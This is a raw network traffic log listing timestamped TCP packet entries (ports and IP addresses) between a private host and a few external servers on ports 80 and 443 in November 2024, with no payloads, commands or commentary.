Nov 24, 2024 19:11:52.418916941 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.418939114 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.418982029 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.418992043 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.419024944 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.423440933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.423540115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.423589945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.423916101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.424146891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.424189091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.424911022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.424925089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.424961090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.424988985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.425690889 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.425714016 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.425748110 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.425756931 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.425782919 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.425885916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.425900936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.425926924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.425960064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.426763058 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.426775932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.426815987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.427675009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.427794933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.427834034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.428649902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.428731918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.428772926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.429630995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.429671049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.429717064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.430608034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.430615902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.430648088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.430732012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.430771112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.431435108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.431469917 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.431545973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.431586981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.432362080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.432403088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.491324902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.491348982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.491410017 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.491530895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.491746902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.491795063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.491801023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.492587090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.492638111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.492681980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.493144989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.493525982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.493576050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.493634939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.493675947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.494545937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.494558096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.494585991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.494596004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.495553970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.495603085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.495629072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.496376991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.496422052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.496447086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.497003078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.497356892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.497421026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.497452021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.497463942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.499633074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.499651909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.499663115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.499672890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.499727011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.499761105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.500138044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.500242949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.500416040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.500488997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.501247883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.501301050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.501416922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.501523972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.502243996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.502254963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.502298117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.502312899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.502906084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.503014088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.503164053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.504117966 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.504179001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.504290104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.504534006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.504991055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.505002022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.505042076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.505062103 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.505721092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.505774975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.506114006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.506477118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.506752014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.506802082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.507035971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.507730961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.507783890 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.507812977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.508534908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.508583069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.508661032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.508701086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.509555101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.509591103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.509701967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.509712934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.510423899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.510531902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.510588884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.511341095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.511452913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.511506081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.512357950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.512453079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.512505054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.513449907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.513462067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.513493061 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.513515949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.514215946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.514302015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.514338970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.514431953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.515502930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.515604973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.515682936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.516469955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.516561031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.516613007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.517380953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.517503023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.517556906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.518400908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.518445969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.518575907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.519198895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.519257069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.519320965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.519963980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.520045042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.520101070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.520750999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.520828009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.520884037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.520937920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.556608915 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.558296919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.558485031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.558518887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.558518887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.558733940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.558883905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.558931112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.559756041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.559832096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.559860945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.559901953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.560699940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.560802937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.560832024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.560882092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.561574936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.561630964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.561686039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.561945915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.562537909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.562597036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.562625885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.562671900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.563530922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.563576937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.563652039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.563694000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.564500093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.564579964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.564691067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.564733028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.565344095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.565383911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.565434933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.565481901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.566364050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.566422939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.566472054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.566514015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.575192928 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.575232983 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.575366020 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.575639963 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.575649023 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.581572056 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581584930 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581619978 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581631899 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581636906 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.581666946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581674099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.581681967 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.581701040 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.581732035 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.587815046 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587824106 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587843895 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587857962 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587872982 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587879896 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.587893009 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.587956905 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.594789028 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594796896 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594820023 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594836950 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594845057 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594860077 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.594871044 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.594887018 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.594894886 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.597436905 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.597445965 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.597501993 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.597512960 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.598567963 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.604243994 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.604254007 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.604280949 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.604317904 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.604326963 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.604337931 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.604372025 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.604383945 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.607080936 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.607147932 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.607157946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.613842010 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.613857985 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.614075899 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.614089966 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.615784883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.615854979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.616369963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.616447926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.616681099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.616856098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.617014885 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.617094994 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.617095947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.617105961 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.617970943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.618031979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.618220091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.618824005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.618958950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.618994951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.619863033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.619930983 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.619935989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.620819092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.620883942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.620893955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.620959997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.621692896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.621781111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.621808052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.621949911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.622570992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.622673988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.622682095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.622816086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.623301983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.623320103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.623375893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.623729944 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.623745918 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.623795986 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.623809099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.623822927 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.623970032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.624017000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.624772072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.626878023 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.626959085 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.626969099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.683087111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.683099985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.683157921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.683181047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.683505058 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.683585882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.683676958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.684376955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.684417963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.684429884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.684469938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.685249090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.685308933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.685365915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.685556889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.686270952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.686338902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.686391115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.686445951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.687150002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.687284946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.687347889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.688080072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.688137054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.688165903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.688219070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.688998938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.689065933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.689177990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.689270020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.689937115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.690006971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.690037012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.690080881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.690857887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.690932035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.690983057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.691025019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.691827059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.691893101 CET	49750	80	192.168.2.8	185.215.113.206
